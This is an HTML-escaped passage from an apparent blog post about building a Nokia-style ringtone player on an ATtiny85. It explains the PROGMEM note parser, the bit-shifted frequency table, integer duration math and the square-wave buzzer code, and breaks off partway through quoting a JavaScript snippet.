/&gt;&lt;source type=&quot;image/png&quot; srcset=&quot;/assets/images/nokia-composer/architecture-480w.png 480w, /assets/images/nokia-composer/architecture-640w.png 640w, /assets/images/nokia-composer/architecture.png 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/nokia-composer/architecture.png&quot; alt=&quot;Architecture: data flow from PROGMEM to buzzer and display&quot; class=&quot;&quot; width=&quot;1600&quot; height=&quot;600&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;h3 id=&quot;the-parser&quot;&gt;The parser&lt;/h3&gt; &lt;p&gt;The tunes live in PROGMEM (flash memory) as plain strings. The parser reads them one character at a time using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pgm_read_byte()&lt;/code&gt; – no string copies, no intermediate buffers, no RAM allocation. It walks through each token, extracts the duration, dot, sharp, note letter, and octave, then hands those off to the frequency and duration calculators.&lt;/p&gt; &lt;p&gt;The whole parser is about 200 bytes of compiled code. On a chip where every byte counts, that matters.&lt;/p&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c1&quot;&gt;// Read next note token from PROGMEM string at *pos.&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;parse_next_note&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pgm_str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;uint16_t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Note&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;uint8_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Skip spaces&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pgm_read_byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pgm_str&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;&apos; &apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;&apos;\0&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Duration digits&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;uint8_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dur&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;&apos;0&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;&apos;9&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dur&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dur&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;&apos;0&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pgm_read_byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pgm_str&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;duration&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dur&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dur&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Dotted&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dotted&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;&apos;.&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dotted&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pgm_read_byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pgm_str&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Sharp, note letter, octave follow...&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;Each parsed note exists only as a handful of local variables on the stack. Nothing gets stored. Parse a note, play it, move on. The RAM footprint is essentially zero beyond the stack frame.&lt;/p&gt; &lt;h3 id=&quot;frequency-mapping&quot;&gt;Frequency mapping&lt;/h3&gt; &lt;p&gt;I needed to convert note names to frequencies. The standard approach is a lookup table with every frequency pre-calculated. For three octaves of twelve semitones each, that’s 36 entries at 2 bytes each – 72 bytes. Not terrible, but unnecessary.&lt;/p&gt; &lt;p&gt;Instead, I store one octave of twelve base frequencies (C4 through B4) in PROGMEM – 24 bytes. Then I use bit-shifting for octaves:&lt;/p&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;uint16_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base_freq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PROGMEM&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;262&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;277&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;294&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;311&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;330&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;349&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// C4 C#4 D4 D#4 E4 F4&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;370&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;392&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;415&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;440&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;466&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;494&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// F#4 G4 G#4 A4 A#4 B4&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;uint16_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;freq&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pgm_read_word&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base_freq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;semitone&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;octave&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;freq&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// multiply by 2&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;octave&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;freq&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// multiply by 4&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;Bit-shifting is a single clock cycle on AVR. No floating point, no &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pow()&lt;/code&gt; calls. The resulting frequencies are within 1Hz of the mathematically correct values – close enough that no human ear could tell the difference through a piezo buzzer.&lt;/p&gt; &lt;p&gt;A separate 7-byte table maps note letters to their semitone index within an octave. C maps to 0, D to 2, E to 4, and so on. Add 1 for sharps. Total flash cost for the entire frequency system: 31 bytes.&lt;/p&gt; &lt;h3 id=&quot;duration-math&quot;&gt;Duration math&lt;/h3&gt; &lt;p&gt;The original Nokia Composer calculates note duration as:&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;total_ms = 240000 / BPM / duration_value &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;For dotted notes, multiply by 1.5. On the ATtiny85, I avoid the floating point by using integer math:&lt;/p&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ms&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;240000UL&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bpm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;duration&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dotted&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ms&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ms&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// +50% via bit shift&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;At 120 BPM, a quarter note lasts 500ms. An eighth note, 250ms. A sixteenth, 125ms. These durations control the buzzer timing.&lt;/p&gt; &lt;h2 id=&quot;the-square-wave&quot;&gt;The square wave&lt;/h2&gt; &lt;p&gt;Sound on the ATtiny85 is direct and physical. There’s no DAC, no audio codec, no PWM-to-analog conversion. The chip toggles a pin high and low at the target frequency, and a piezo buzzer converts those voltage swings into sound.&lt;/p&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;play_tone&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uint16_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;freq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;uint16_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;duration_ms&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;freq&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Rest: just wait&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uint16_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;duration_ms&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_delay_ms&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;uint16_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;half_period&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;500000UL&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;freq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;uint16_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cycles&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;freq&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;duration_ms&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uint16_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cycles&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PORTB&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BUZZER_PIN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;delayMicroseconds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;half_period&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PORTB&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BUZZER_PIN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;delayMicroseconds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;half_period&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;For A4 (440Hz), the half-period is 1136 microseconds. The pin goes high for 1136us, low for 1136us, 440 times per second. That’s a perfect square wave – the same waveform the original Nokia phones produced.&lt;/p&gt; &lt;h3 id=&quot;the-7030-rule&quot;&gt;The 70/30 rule&lt;/h3&gt; &lt;p&gt;Here’s a detail that took me a while to get right. If you play each note for its full duration and then immediately start the next note, it sounds wrong. Too smooth. Too connected. Nokia ringtones have a distinctive staccato quality – each note is clearly separated.&lt;/p&gt; &lt;p&gt;I dug into zserge’s JavaScript implementation to understand why. The source is about 20 lines of code. The relevant part:&lt;/p&gt; &lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;d&lt;/span&gt;&lt;span 